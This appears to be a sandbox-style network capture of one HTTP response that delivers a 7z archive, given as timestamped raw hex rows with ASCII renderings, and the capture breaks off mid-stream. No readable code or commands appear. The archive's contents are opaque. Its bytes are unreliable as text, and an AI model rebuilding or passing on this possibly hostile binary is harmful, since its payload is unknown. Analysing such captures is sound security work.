2023-07-18 15:37:06 UTC	0	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 18 Jul 2023 15:37:06 GMT Content-Type: application/x-7z-compressed Content-Length: 2305650 Connection: close Last-Modified: Sun, 16 Jul 2023 20:09:50 GMT ETag: "232e72-600a043abd65f" Accept-Ranges: bytes
2023-07-18 15:37:06 UTC	0	IN	Data Raw: 37 7a bc af 27 1c 00 04 b4 1d 66 47 2d 2e 23 00 00 00 00 00 25 00 00 00 00 00 00 00 2c 86 56 56 e0 1b b1 06 4e 5d 00 06 82 cb 94 d3 b9 af f7 1e d4 db db 26 fe 12 c2 40 84 0b ca 5a 74 41 a5 34 05 82 78 3d 69 f9 1a 84 68 af 35 e1 8b 55 42 68 d8 4b a5 de e9 e9 9e 4b 42 7d 22 47 41 bd cc 0e cb d2 0c 2e 18 9d db 78 b3 e6 e2 c7 e7 36 ff 63 8a 38 ec f2 56 ac 3e a9 8a 33 ba 33 a3 7e c2 dd a8 1e 62 8e af 58 c3 d3 08 ed f6 1b 57 d8 62 c6 f4 a1 77 f7 19 db ec 8d 75 62 51 00 a2 a3 68 5b fa b4 16 0d 60 bf cc 33 29 87 ac b4 91 3e cc a8 0a e2 ee 0f b7 55 05 96 4b 13 ec 59 e2 30 7d 28 ee 67 a3 a1 37 e2 84 d2 ab 62 72 77 92 c2 79 d5 ef 15 10 2f 33 7a cb 74 f6 de 9c 0d 2c d2 67 a5 40 f4 ac 92 61 4a c2 9d d1 7f 8e f8 99 30 4b 0c 96 12 aa c4 d2 d1 f2 27 51 d6 ec 06 9e f3 fd Data Ascii: 7z'fG-.#%,VVN]&@ZtA4x=ih5UBhKKB}"GA.x6c8V>33~bXWbwubQh[`3)>UKY0}(g7brwy/3zt,g@aJ0K'Q
2023-07-18 15:37:06 UTC	16	IN	Data Raw: 4c 0e 87 29 75 21 94 76 df 87 83 55 67 c8 2e d3 a8 28 be 26 2d 66 25 cf 34 90 d8 83 cc a4 f4 93 b7 3c 5d f5 1f e3 09 8c dd ba 4d df 66 42 34 7b 57 e4 a2 dc 61 f2 e9 1f 2d 28 3a 44 5b 71 17 12 97 51 b3 53 6e 97 7e fe 71 5f 41 7e 4a 83 f7 1a 72 91 58 64 d1 5a ab 81 a1 cb 3e a7 e4 ca b5 8b fd 37 57 55 bb 31 cc 3c 94 4a 07 dd 15 c1 36 e1 2a 40 be c6 b7 2b f9 0e e2 80 af 5f 67 3c 8e 8c 78 27 95 40 09 5e cd b8 d3 0f f8 9f 35 c5 e9 3d 53 d7 b1 94 bf 99 8f 3a 92 0e c9 a2 60 88 ad f1 40 3d 6c de 87 c3 89 2f 4c d0 18 bd 41 db 55 9a 77 ee a3 88 75 ab 38 33 0f 15 18 4e 4d 77 54 23 7c 71 6f 81 45 85 e8 d2 16 b6 7f 66 2a 88 3f a2 d0 61 dc 4d 31 83 9f d5 05 86 06 e5 c4 30 4c 38 4e 24 81 75 d2 f9 c5 4e ed b2 2c 00 6e a7 30 e8 0b c1 27 81 4f 11 34 10 e7 25 dd a0 4e 26 34 Data Ascii: L)u!vUg.(&-f%4<]MfB4{Wa-(:D[qQSn~q_A~JrXdZ>7WU1<J6@+_g<x'@^5=S:`@=l/LAUwu83NMwT#\|qoEf?aM10L8N$uN,n0'O4%N&4
2023-07-18 15:37:06 UTC	32	IN	Data Raw: e5 eb 63 5b c7 27 ac 4b 0c 85 27 5c b3 a3 54 d9 97 26 eb a6 d0 24 e0 aa ac 60 d9 36 ca 7b 23 85 0e 6c 16 dc 46 ae c1 66 e5 b6 ba 01 08 c6 3b 0c 22 a4 1d 17 50 46 a3 a2 ff 3c d0 4b eb 1a fd 93 48 7a 0b 0a 69 b6 99 8c f6 7e 18 17 32 8b 7c ee 9f 35 54 23 43 ec c7 52 ca 71 b8 95 54 ed 5d 84 ad c0 64 72 3a c4 ad 8a 4f da 88 25 92 12 0a 67 a5 5a 9e af 66 f2 55 ba be 51 c5 b6 ac 12 47 d1 b1 b1 ce 3f 2d d8 43 b6 58 92 e8 33 6c fe 9a fa 8a cb 62 e3 23 99 1c 8b c9 bd 14 66 e9 97 41 06 75 32 c6 0e fe 70 bd 5a 90 71 0b c7 c1 d4 43 2c 2e 60 89 02 0d 27 af c1 f5 0c d2 c6 c7 ac ca 81 de de 6d ea 75 1c a0 18 2c ea 29 fe 6e 0c d6 16 ee 59 ba a1 02 8d 8a ed 91 ca e9 7c 06 9a 29 de 5b f1 8d 5f b3 ca e0 f9 b4 a6 a1 c2 7d 2b b2 41 6a b5 f1 85 e4 3f 94 16 5b 0a f9 10 c8 5e b8 Data Ascii: c['K'\T&$`6{#lFf;"PF<KHzi~2\|5T#CRqT]dr:O%gZfUQG?-CX3lb#fAu2pZqC,.`'mu,)nY\|)[_}+Aj?[^
2023-07-18 15:37:06 UTC	48	IN	Data Raw: 19 11 d3 36 98 c2 24 f5 35 f6 12 49 ca 4b 7e 50 f5 35 b0 c8 22 ea 95 d7 46 7d 66 c6 39 4c 35 e1 b1 24 84 f7 59 fb 21 26 52 6f 9d 37 ec a8 46 b0 eb 60 f6 c0 a0 f8 a8 41 b5 a0 da dd b4 ab 80 b6 ff 3d 1d b2 c6 f6 7d ea 96 c0 18 ca 0c 2c c5 74 28 0d 77 69 db 2d cb 2f 33 27 86 d3 e5 e6 66 b3 ee ac 66 07 22 99 1a 47 83 56 d4 24 8b a7 91 2f d5 b8 23 8e 52 75 67 96 34 6d 00 46 90 dc 99 37 52 72 cc 85 2b 22 65 71 a9 f9 4d 2b 16 3b 44 80 dc d9 4e 65 3d a9 24 4f b5 3d fd 12 5d 27 aa 64 f7 5d 6b 0b cb 5c c4 6d de 19 03 65 98 60 0d c6 f6 ad ae 3f 8c a0 38 87 1b 14 6a 4e 7b 5a f1 f0 bd b9 00 c5 c4 bc fa 60 ec 01 85 da 8d 4d 94 cd 61 25 78 a6 a9 5c 13 91 d8 a5 47 3e 5c 70 25 85 5e 9f ef 23 32 c8 d8 55 2c 3e 5a 0d 11 6a d6 9d 6e b0 12 a3 b1 17 bc 57 24 45 45 90 b1 84 c6 Data Ascii: 6$5IK~P5"F}f9L5$Y!&Ro7F`A=},t(wi-/3'ff"GV$/#Rug4mF7Rr+"eqM+;DNe=$O=]'d]k\me`?8jN{Z`Ma%x\G>\p%^#2U,>ZjnW$EE
2023-07-18 15:37:06 UTC	64	IN	Data Raw: 34 0d 23 78 d7 84 ff a4 de 63 57 bd 2b 8b f1 bb f4 2f ec 54 fe 0d 25 24 d6 30 b0 a9 70 f1 05 bb f4 b3 e4 c7 50 f2 ac 65 4a dc 6b c2 03 1c 4a 62 f4 b3 4c cb 4e ed 12 cb 77 a3 85 d1 79 32 77 99 f4 d2 af 9a bc 0d 7f b9 7a 9d b6 28 c7 f8 c9 53 b5 31 03 5d ca 65 42 79 53 df 4f 91 06 6d 63 9a 28 81 68 a2 be c2 be 73 23 f4 76 2c e0 e9 04 0b 63 06 df b6 39 ba ba e8 f0 49 c6 90 0e 2e a6 39 53 ea 39 85 fe 6b 98 e7 8f fa 62 88 51 a5 e4 db 6b d8 55 68 05 13 e0 b7 a3 0f 81 f8 32 0b 82 57 a8 1d ff d0 3e f2 16 93 76 0f a8 b7 58 e3 d8 0d d1 01 b2 1f 64 d6 74 9b 94 8d 0b 2c 61 ca 5f c1 9b 25 1f 2c 45 c2 6a 66 9a 4f 76 83 0c 23 76 32 4d f2 f4 62 69 96 99 cd c4 5b fe a1 ff 78 71 29 b2 cc a0 95 ad 96 46 89 e8 d3 df fe 1d 6c 01 4a 2c 60 23 9c 15 fc 78 e7 c8 b8 4d 3e 4d e2 18 Data Ascii: 4#xcW+/T%$0pPeJkJbLNwy2wz(S1]eBySOmc(hs#v,c9I.9S9kbQkUh2W>vXdt,a_%,EjfOv#v2Mbi[xq)FlJ,`#xM>M
2023-07-18 15:37:06 UTC	80	IN	Data Raw: 52 7b 66 bc 50 92 3f 5b 06 e1 25 ed f2 47 f1 76 50 31 d3 ae 49 85 15 81 4d 8f 3c 92 ce 0c 30 5d 6d af c5 a1 f4 79 46 7f 88 07 92 b2 0d 1c 33 f0 9b 7f be 3b 27 9e d2 15 be 77 4d 13 5b 67 30 45 61 b1 2c b1 07 40 13 1b 89 f2 ad d4 64 fe 18 63 54 4e 94 fd d0 1e 20 19 ba 70 69 40 d7 09 48 aa 36 77 cc 68 b5 4f 6c 8b ac f2 e1 8b 82 31 37 ef 39 60 57 c1 59 c6 57 eb 60 a4 fd e2 5b a2 54 73 d1 27 c5 23 78 13 d0 bd 6f e1 f3 0d a0 1f 85 f9 a4 22 70 e5 46 04 8e d5 38 67 0a 7d 6f c2 18 d9 e2 d7 be 45 10 0c 0a 95 b4 81 b8 97 39 60 59 18 29 89 8e a2 2b ae 31 27 59 b6 1e 65 4f a7 b4 a2 62 b1 f3 f4 84 49 7f 95 9e c5 78 fa 6b 52 7b e4 ad 98 4e 16 94 de 9b 94 b8 9b af ce 06 10 05 a9 dc 07 ff 8c 02 9f 05 46 5e 83 2b 7f ce 29 01 e9 95 12 29 99 bb 48 a1 f9 2a ec 3b 2b 32 5b 7f Data Ascii: R{fP?[%GvP1IM<0]myF3;'wM[g0Ea,@dcTN pi@H6whOl179`WYW`[Ts'#xo"pF8g}oE9`Y)+1'YeObIxkR{NF^+))H*;+2[
2023-07-18 15:37:06 UTC	96	IN	Data Raw: 79 a6 2e bf 31 3a 27 5e 30 59 2a 70 a3 e2 fc b2 7e 7c 3a 6c bd e0 08 a2 d3 b1 67 af 2d 5d 11 47 13 2b e7 18 73 dd 24 ad a3 82 2b b4 7b 1d bc df 59 2f c5 83 db d2 85 39 ae 65 28 7a 44 58 bb b7 5a d9 76 18 5f 6d b6 d3 43 fb fe a9 fc ae b1 a3 8c 8a 1d 73 d6 d5 cf 06 01 76 61 b6 5c 03 97 9c ed 18 3a c7 50 15 0c a4 b5 33 ec 91 cb 29 72 dc ba 68 c7 1a bc 32 f0 e6 a9 38 26 0e e7 d4 dc 19 3f 12 8f bd 73 88 20 30 7c 67 b2 e7 e6 33 e3 be fb 6e b2 22 2c 7c 37 5b d9 31 fe 9a 45 39 85 f6 2e 11 1b e2 88 82 e4 e1 78 72 28 e5 98 a7 97 23 2a 5f df 57 43 62 e9 49 b5 6d f0 85 c7 37 0e 5d 1f ef 4b 92 e0 e5 b0 a2 bf 32 a3 46 ac 01 77 54 cb f4 36 fa e3 d5 7d b5 15 69 da 99 3b b1 04 fe ee 23 9c a9 62 37 84 a5 7c 87 cb 4d 62 12 2e 7d 80 9e c7 57 67 1e f5 fd 41 35 91 91 70 01 a0 Data Ascii: y.1:'^0Yp~\|:lg-]G+s$+{Y/9e(zDXZv_mCsva\:P3)rh28&?s 0\|g3n",\|7[1E9.xr(#_WCbIm7]K2FwT6}i;#b7\|Mb.}WgA5p
2023-07-18 15:37:06 UTC	112	IN	Data Raw: 45 b7 27 c2 b6 05 fe f0 8a ff 72 ac bc 3b e7 f4 09 c7 ff f0 01 64 aa 12 9e cd 89 2f 41 dd 7f 31 33 6a 56 99 ff 2e 87 de 99 1f 03 fb 4f 0c 7b 06 76 66 b6 55 8a 29 31 d5 33 45 e2 ec 48 0b 2a bb 12 5e bd 24 29 60 86 0a d5 43 3b 93 19 55 d5 57 68 63 a5 3e 1d d0 d7 38 00 dc 71 d8 94 7d 5f 11 2b 5f 81 3b 5d 6f ab f3 d0 cd 07 60 87 ee 2c cc 7f 51 76 c6 c0 7b 9d 9f 0a a8 e9 c2 5e bd 64 d9 2d 64 ab 67 a6 f9 d5 12 b6 bf 19 56 81 91 0d 5a f3 c2 2a 38 1a 67 4c 40 ef 00 56 1d 57 be d7 4d b7 e4 fc 62 4f 56 aa 61 a6 2a d6 d9 13 53 49 96 ea 71 e5 6d 98 68 5d ae b4 40 1e 02 86 5d ba fb 08 09 02 63 94 f6 8a ea 69 e5 a1 51 f3 09 64 e2 ac f7 5f 53 94 d3 7a fd bf 3d 75 0a a8 be a8 9b 6f 37 d4 82 37 2b 77 01 c2 3c 20 c6 26 be 3d 73 8c bb 11 ae 76 65 1e ba d4 18 ef b7 18 e2 4d Data Ascii: E'r;d/A13jV.O{vfU)13EH^$)`C;UWhc>8q}_+_;]o`,Qv{^d-dgVZ8gL@VWMbOVa*SIqmh]@]ciQd_Sz=uo77+w< &=sveM
2023-07-18 15:37:06 UTC	128	IN	Data Raw: 8c eb d5 41 59 d7 f8 77 6e ae 72 00 3e 89 59 fb b6 b6 b6 ed 2b 2b d9 2f fa bb 9d cc 2d fd 0c 9b 6c 94 ba bf a3 98 94 d5 c7 6c 9c 47 63 0d 68 86 57 1f 37 5d b8 91 47 be 9e 94 f0 2c 6f 60 39 f2 71 37 fd 0e 3a d3 97 9b cd 6b 6c 34 67 c6 5f 17 87 48 4f 18 c8 9f a6 f5 96 5a 36 74 d3 ff c7 da e4 13 52 eb 5d 9e 6b 91 80 61 c0 12 87 46 e0 32 65 ba db b3 90 46 5f f6 47 77 fe cf e4 df 81 76 41 c7 a8 ac 98 9f 09 58 2f 1f 23 4f e3 6b 8d b6 a4 a5 06 8c c9 d1 87 bd e2 7c b1 42 3d 23 c8 86 f5 ab 23 67 fd ae a2 d7 a6 dd 6d 5b 3e ac 32 17 6b 8e f4 35 3b 6c 51 6c a1 ac a7 4e 50 19 8b 7e 0a 22 9e a4 b8 f8 da 30 dd 03 30 57 fc 82 54 11 a6 72 d0 ac da a7 98 13 6d 1e fa 41 ba 0f 7c 2b e5 7a ac 75 72 7d b9 4e 8f 81 de 3c 57 06 67 e0 72 2a 28 4b 79 e2 cf 4b 12 d5 91 c1 5b 28 c5 Data Ascii: AYwnr>Y++/-llGchW7]G,o`9q7:kl4g_HOZ6tR]kaF2eF_GwvAX/#Ok\|B=##gm[>2k5;lQlNP~"00WTrmA\|+zur}N<Wgr*(KyK[(
2023-07-18 15:37:06 UTC	144	IN	Data Raw: 63 51 22 75 32 67 87 a3 df b1 f7 9d bb 8b 12 f2 83 e9 f5 1f 55 cc b6 23 fb 3b 40 64 a4 43 e4 b3 27 a1 8e 76 b6 d1 d9 67 21 72 af 83 eb b6 a4 c3 e8 bb 61 f2 0f ce 95 ef ab b1 4e 51 88 82 c9 e4 5c 2c ec 7c b3 69 3e 3e 95 2b 7b 45 f9 ad d5 0f 0c eb f8 23 90 9d 64 f9 3a ae 53 f1 1b 54 f2 98 02 0f c1 57 ea 0e 24 a5 35 24 ca da 61 6d a0 d4 be 30 ee df b6 2a 7a d1 fa ee ce 6f 59 15 78 d2 de c3 57 54 7c 51 22 dc 0e 0b 42 fd 05 fa 71 cb e5 f9 9d 14 57 2b 14 68 a5 36 3a 67 d8 a5 97 a9 9f 8f ce d5 a7 4a 20 c4 36 42 5f 52 e3 f5 fb 6c 28 e9 5c 5c b6 4f 3f 48 cc c7 cb 89 c2 86 30 ff 27 8c f4 d0 1d 2e 81 f3 9f d1 99 08 82 48 28 69 f5 e1 53 da c8 6c 04 31 9b f5 54 5c b8 7a 40 2d af a4 6f 7f c7 ed e8 63 83 3d dc ab c4 cb 3c ce f6 1f 41 e2 aa 6e 76 ba 4b 05 fc 7f e6 23 a8 Data Ascii: cQ"u2gU#;@dC'vg!raNQ\,\|i>>+{E#d:STW$5$am0*zoYxWT\|Q"BqW+h6:gJ 6B_Rl(\\O?H0'.H(iSl1T\z@-oc=<AnvK#
2023-07-18 15:37:06 UTC	160	IN	Data Raw: 0f 0f ed 71 9a 86 2a 58 48 be 2a 87 0c c9 88 a8 bf e4 49 45 76 8d 1d 94 36 36 be e0 a5 8f 1c 3e 9f 1b 70 a2 c8 2f 1a 8a 94 e0 59 6a b0 0c 1f b7 1e 66 05 17 96 87 b7 a0 8b 3a ce 54 b3 0a 6d 3b 83 64 61 d0 56 05 b0 3d a7 d6 b4 3b 3b c0 80 b8 aa 3e 82 b3 65 55 1c 80 a6 8d cf 93 4e 66 0f d2 5a 9c bc 6d 28 2b 23 e9 24 60 f8 2d 4d aa 69 d4 16 f9 8f dc f0 66 4c 45 a7 a7 20 2a 7c be fa a5 a6 74 74 5b ca cd 13 d1 3f 6e 50 06 7b 46 8a b5 85 9d cd e3 cf 13 53 6c 12 70 40 61 10 d4 46 ac 59 52 fa 45 69 93 c3 c5 c2 0c 3d a7 36 53 91 70 1f e3 b9 5b 2b 61 f4 44 75 a4 eb 33 4f 1b dd 43 2d d5 e1 e4 2e e3 41 15 c5 1f e5 1c 0b ca da 16 a9 30 b2 af d2 6c 5a 7e 49 e1 8c 9d 52 d8 79 ae 33 9f 71 75 de b9 4f 35 9a fc 2b 3d 18 fb 8c 1c 5e da f3 36 3d 93 cf f6 ea dc 30 03 71 2a 86 Data Ascii: qXHIEv66>p/Yjf:Tm;daV=;;>eUNfZm(+#$`-MifLE \|tt[?nP{FSlp@aFYREi=6Sp[+aDu3OC-.A0lZ~IRy3quO5+=^6=0q
2023-07-18 15:37:06 UTC	176	IN	Data Raw: c0 fb 88 03 c5 9d 36 4f a7 6c da 07 9d 6c a6 ac 82 7c 14 87 70 9f 39 46 53 3c 81 be a8 35 35 95 c3 a9 1b 67 18 45 03 8a 2d f2 72 61 a0 4a 1f 5e dd 17 13 88 c9 e6 da 57 8d 3d 13 ff d9 ed 93 c0 ad 09 e4 f0 64 6b 71 18 0d ca dc be 9c f6 8a 62 12 96 4b e2 49 d1 58 ba 91 fb 52 32 dc b3 21 3c c9 23 a5 5e 59 31 88 7f 37 e0 3c 2e 46 fa 19 c2 6e b7 07 02 c9 de de 62 af e3 79 45 1d c6 6d 29 c8 a6 06 bd 54 9c 87 41 49 ee 8b a6 90 92 40 8b 4f 8d 84 6c 4d a3 7c 7e d7 a7 1a 86 7e a1 76 e9 bb 33 89 3f 12 de 96 f5 17 44 4d b6 ab 1b 80 87 69 b1 d9 7c d8 8b cd 9e d0 6b 17 f7 83 17 3d 3d d2 b2 d3 d6 8a 57 25 ea d1 3c b8 03 de bf d1 a4 b9 f0 42 a5 f5 4a 60 15 d0 4a df 09 d6 79 b1 e6 a1 71 c3 73 c1 b0 86 fb 96 a0 8c f9 cb 12 46 f4 f4 9d 8f 83 45 6e af 21 71 82 bc a6 60 ad 31 Data Ascii: 6Oll\|p9FS<55gE-raJ^W=dkqbKIXR2!<#^Y17<.FnbyEm)TAI@OlM\|~~v3?DMi\|k==W%<BJ`JyqsFEn!q`1
2023-07-18 15:37:06 UTC	192	IN	Data Raw: 35 cf 93 c9 a2 07 0e f1 5d 10 a8 99 9c 22 3e 3e d5 a6 82 df 9b 18 9c 72 2a 65 e4 d9 ca 01 d6 42 2d 3c e3 08 ac dc 59 1b d1 5e dd 67 cf de f0 20 1d 82 00 04 41 c1 cb 66 77 50 bf 7b 22 6a 29 3e d4 c0 c5 f8 22 63 4a 8c 3c dc 5f c8 2d c8 67 f3 76 0c 7f a5 26 4f a8 66 00 ff 71 bd 9b e2 01 4c 1a dd af 2e 09 1d 14 37 ef d6 da da 76 68 44 4a 09 35 9d a3 93 38 9e f0 79 97 f7 15 40 f3 14 5f 62 ed 7f ba 11 13 1d 18 9b 37 d2 e5 ad 57 e2 0a 08 22 19 76 95 4e 74 66 87 4f a6 40 50 b4 ca b5 22 b1 b4 9d 38 b2 c6 e6 48 1b aa 70 37 9f 2d 32 ab f1 fa 5d de ea f7 c1 76 51 49 f8 9b 55 01 aa 4d 89 8a 8c e2 df 5e 32 26 99 12 02 ac 5e cf 4b b1 1e 56 30 74 15 32 34 e7 42 d2 78 e5 1b 43 32 5f 98 dc 8d fa 8b a4 ec 6e 8a 25 b6 ef 49 d8 9f 55 1c 32 a7 40 fa 36 69 15 bd 8a 81 2c f6 0b Data Ascii: 5]">>r*eB-<Y^g AfwP{"j)>"cJ<_-gv&OfqL.7vhDJ58y@_b7W"vNtfO@P"8Hp7-2]vQIUM^2&^KV0t24BxC2_n%IU2@6i,
2023-07-18 15:37:06 UTC	208	IN	Data Raw: 3f 60 e2 4e 4c 5c de d9 fe 0f a4 c7 ef f4 5c cf 99 85 41 9d 5e 89 a3 8e fb 8c 95 e7 87 d8 6d 8c 4e d6 75 e1 fa c2 b4 ef a3 df f5 89 59 d4 c6 83 09 44 47 e8 81 e0 58 90 2f 12 39 b0 89 36 16 b0 fb 18 f5 3d 57 30 08 51 76 c0 cb cc f9 ed f3 84 95 78 a7 91 a8 a8 b9 c5 ee ff 2d 74 5a a3 d0 98 8a d0 0d 3e c3 0d d0 9b b5 2b fa f0 25 c8 ff 97 68 e8 f2 f9 7a 03 bf 31 b8 27 d3 6a 99 a8 3b 4a 3f c5 49 a4 c3 c6 72 dd 83 c5 11 9a 7b 3f 00 71 06 c3 83 e7 38 b6 6f 9a 55 3e 1e aa 34 65 77 90 fc d3 49 7c ee d8 2f f5 83 25 44 89 af 60 33 1c 4e f1 71 0f 84 49 3e 4d 75 e3 fa cf b7 f7 49 ea 6c ff 52 b1 ab 2e c8 52 4b 36 e6 1c c6 f4 f6 29 f4 90 61 a7 70 8a 38 a8 3b 65 3a f7 f8 48 63 49 8a f3 d9 f5 17 55 d6 c3 87 d9 dd 48 52 1e 19 3c 12 16 7a 9f b3 1b 87 d2 5c bb 56 a6 20 6d af Data Ascii: ?`NL\\A^mNuYDGX/96=W0Qvx-tZ>+%hz1'j;J?Ir{?q8oU>4ewI\|/%D`3NqI>MuIlR.RK6)ap8;e:HcIUHR<z\V m
2023-07-18 15:37:06 UTC	224	IN	Data Raw: ea 64 ed 5c ca 74 1e f7 95 be b0 d7 63 b6 c8 aa a1 dd 27 ed e9 a2 05 e2 7b 46 19 1f 44 79 51 b4 61 4e 31 ed 0b 87 06 5e c0 89 5c be 64 59 7d 03 4e e5 fd 92 ed 05 73 76 ba f1 dc 57 71 07 5d 4e a9 b7 0b 3e 30 3c b5 24 c6 b6 d5 e8 52 ce 9e 35 cc 2d f4 62 82 17 46 bb b9 fd b5 42 00 ac bb 04 04 50 c2 c0 f2 72 02 9f 39 20 c5 e5 38 20 c5 93 54 5e 1c 90 7e cf d6 93 d5 55 3a 9e 06 7f 87 7e 95 92 f3 09 9e 1e 5d ca 9d 36 05 9e ba 5c 4d b2 04 8a 45 22 17 04 4a 28 59 69 85 f6 98 f3 4b b4 47 e2 92 7f 87 82 44 ea 00 e3 5f b5 1e a6 f0 0d 79 88 93 8a 46 e7 a2 54 89 e4 cd e0 f3 cd 65 e7 5d c9 51 73 ec d9 9a db 35 12 fc f5 bd 05 c5 c6 9e 20 da 59 f3 0f 25 b1 4c 3f 6d fb db 71 46 45 ef fe 15 49 a9 89 33 34 36 b0 4d a5 58 05 c9 3e 8a c5 38 e1 17 31 73 85 eb 65 2e a3 c1 18 86 Data Ascii: d\tc'{FDyQaN1^\dY}NsvWq]N>0<$R5-bFBPr9 8 T^~U:~]6\ME"J(YiKGD_yFTe]Qs5 Y%L?mqFEI346MX>81se.
2023-07-18 15:37:06 UTC	240	IN	Data Raw: bb 07 da ea 66 f4 20 3d 1d 1d a5 4c 75 a1 e0 d3 4c f0 8c ea 7f bc 77 6b 6f b8 ab b5 c0 90 98 b0 8a 70 f5 0b 59 d3 73 6f 69 8e 91 11 09 34 60 af 99 c4 45 21 cc 2d 5d 6c 1f 00 9c b5 ef c0 d1 3d 0f f5 31 58 ba a5 bb d9 b7 40 fa e2 9b 65 f4 42 86 0f c0 1f 07 47 90 4d d4 72 98 0d 26 0e 77 40 3d e2 9a bc 35 e1 7a fd b4 fa 3f d1 d3 55 a3 b3 fb e9 13 7c 71 3a 43 d4 ac 08 db 5a b4 9d f2 24 43 ce 65 9d 94 cd 59 47 00 04 91 bc 94 4f 19 01 b5 2b ee 69 c2 37 27 4b c5 0e 10 22 20 e4 8b 17 aa 61 b3 2e 86 04 eb 21 06 4d 0b 98 8a a4 ec be a0 54 8e 2b 97 dc 39 a8 72 fd 87 9d 09 5d bd ba 9a d1 ad 42 ae 62 82 8e d3 1d 16 46 22 24 75 76 01 5c 6b 35 c2 dd a2 80 e8 d8 65 09 0a 18 f8 98 2f 69 4d ed 56 f2 14 47 2c dd 8d 9d d5 06 c8 3a 8a 02 9b 93 a3 44 c1 4f ab 46 b0 51 c4 d7 0f Data Ascii: f =LuLwkopYsoi4`E!-]l=1X@eBGMr&w@=5z?U\|q:CZ$CeYGO+i7'K" a.!MT+9r]BbF"$uv\k5e/iMVG,:DOFQ
2023-07-18 15:37:06 UTC	256	IN	Data Raw: 97 6c 70 ef 49 fc 1d 07 91 75 50 00 af d9 4c 82 75 ca 03 4e e9 3e c2 80 8e 38 c5 c4 ce 59 75 30 ff 89 20 26 58 48 b2 04 69 34 6f 88 3d 05 fd 5a c6 bc 5f 00 53 21 45 14 39 cd 7d a7 64 75 dd d6 45 18 6f 39 4a fe ad 17 e7 e2 6d 97 41 6b 35 a1 d8 9c 20 34 c6 76 96 e7 37 f4 0c fa 2a c6 94 fc 64 9d fc 15 cf 13 54 89 a2 35 3e 9f 02 d6 db 8e 72 cb b5 f9 98 13 2d 6f de da dd 9b 97 5d 9b a6 cc ce 24 07 1d 00 48 08 ca f3 e7 18 b0 f0 f2 a5 1d 77 c5 a1 85 e1 0c 37 fb 24 07 ca 0f 47 03 52 b6 7c 5b ce 83 e8 89 dc ab 15 0e 67 d4 f7 d2 05 46 1f 09 aa 0a f5 9f 73 3f 5f 14 9f 3d d2 f9 08 e0 7d d8 32 21 33 8c b4 ee c0 07 fa 06 2e c1 76 10 07 38 1d 04 d6 c4 63 90 84 77 97 74 13 ed b9 72 3e 35 59 d7 ee a4 16 da d8 d8 44 0b ff 84 0d 34 40 79 e0 6d 45 f4 cc 3b b5 9a 6d 10 96 7a Data Ascii: lpIuPLuN>8Yu0 &XHi4o=Z_S!E9}duEo9JmAk5 4v7*dT5>r-o]$Hw7$GR\|[gFs?_=}2!3.v8cwtr>5YD4@ymE;mz
2023-07-18 15:37:06 UTC	272	IN	Data Raw: b9 ba 1e 30 83 fe 61 d8 a1 0e ff b4 9c d1 c3 e2 a4 8b a8 31 d5 ab b8 3e 17 3b a4 14 87 5d be c0 5e 5f 79 e0 db d3 c8 4e 77 6e 37 8e b8 63 a2 a2 a6 76 db 9e be 58 2a 83 09 6e 24 11 39 45 02 be 0e 73 dc bd 07 ae 01 25 e0 94 6a d3 9d 75 15 55 20 63 8e bd 7f e1 bf 50 e6 dd c0 56 57 48 da e3 b7 35 64 94 67 34 e9 7e 89 76 15 35 8e 93 fc aa fb c1 6b 3a b8 1b a4 27 ed 23 c7 67 db 8e db cb 97 a2 58 3c 95 97 8f 90 48 d4 4d 90 11 64 b4 be 6e e7 c9 c1 1e cf 92 78 1c 4c c5 7e b3 c0 b5 5d a0 7c a4 e1 74 cc 05 65 48 56 8f 18 e9 98 77 7c 84 69 09 a1 f5 a1 bd 6d 5f 27 02 e3 5c 0f b2 40 c6 6c 32 46 05 d9 b6 7a 72 a4 6c 18 de f3 66 ae 46 25 ec 5d c0 ce a2 35 e0 36 21 7b 6c 8f ae 59 a5 71 7e 4e 6e 5b 91 47 4f 69 24 35 b6 1b 07 26 e5 6e 87 29 d7 82 20 10 fa 34 4e 65 8e f0 67 Data Ascii: 0a1>;]^_yNwn7cvX*n$9Es%juU cPVWH5dg4~v5k:'#gX<HMdnxL~]\|teHVw\|im_'\@l2FzrlfF%]56!{lYq~Nn[GOi$5&n) 4Neg
2023-07-18 15:37:06 UTC	288	IN	Data Raw: 9c 9a 04 8d 58 8d 41 2e 74 12 be 00 5b 8b bd 28 ba ba a6 41 c1 27 9b a2 0a dc e2 f3 ca 54 d4 e0 0c 03 7b 43 37 53 19 96 77 8b 2c 89 91 1e 97 28 d0 d9 42 54 01 b6 93 23 d9 71 3a 56 82 d5 4b 21 0a 7c d6 b1 f0 a1 24 80 86 8b 4e da 4c 2d 7d 84 08 06 f0 37 9c 22 66 c8 68 7e 52 8c b5 72 1a 32 50 f0 b9 d0 fc 21 25 24 32 8f fd d4 4a 18 7f 7b 97 b5 54 fc d4 70 4f f6 54 40 b3 60 d1 83 59 b4 16 8e f9 7a b3 58 27 ff c0 c7 80 ca 9e 5b c6 d4 87 34 7c 56 4a 81 a2 ce 3e dc c4 19 95 4c c8 c5 11 54 5c 14 28 12 05 69 45 08 26 9b c9 d3 49 64 df b4 b2 b2 d7 3c 41 54 ef 10 88 b6 78 50 34 c9 ca 09 9a 92 dc 75 14 d2 7a 84 1c ed 81 97 e1 1c ce f2 c7 35 9f 54 a1 c6 0b 11 f3 3d a8 f6 77 74 9e 59 84 b8 7d fd cf 02 80 3c a0 ec 59 4e cb 8a 50 8c 6e 73 8d 81 50 30 1a 44 13 e1 a3 cc 78 Data Ascii: XA.t[(A'T{C7Sw,(BT#q:VK!\|$NL-}7"fh~Rr2P!%$2J{TpOT@`YzX'[4\|VJ>LT\(iE&Id<ATxP4uz5T=wtY}<YNPnsP0Dx
2023-07-18 15:37:06 UTC	304	IN	Data Raw: a2 53 a5 2f a0 0b 48 4e be ad 4f 8c be 85 c4 a0 d8 f9 66 1d 01 56 b7 e6 69 f3 4b 3b af 86 9d c7 9a 6f ec 04 e1 38 0c 33 85 a2 49 a0 4e 52 a4 0b 85 02 36 08 2d 1d ea d1 8d 6d 07 79 17 63 86 8e 13 cc c8 9c a2 14 59 1b af 86 2f 7f 06 d1 1d 2d 22 b0 47 d8 30 9e 88 49 4f 89 02 af 64 df 51 db f3 ee 9a 40 7d 68 1f b1 be 00 28 ff c1 fa 77 ac 6c 6a 41 32 47 81 4d e4 ef b3 42 90 b2 21 17 b0 8c 22 7f e6 84 c5 9e 66 4d 17 d6 d5 ba ff f7 a4 a2 b4 f2 bb 71 78 68 60 a9 26 d1 20 b6 7c 72 4f d4 0e cb c7 d4 03 21 47 71 a9 c9 fa 58 3a 3e 2e 1c e7 fe cf 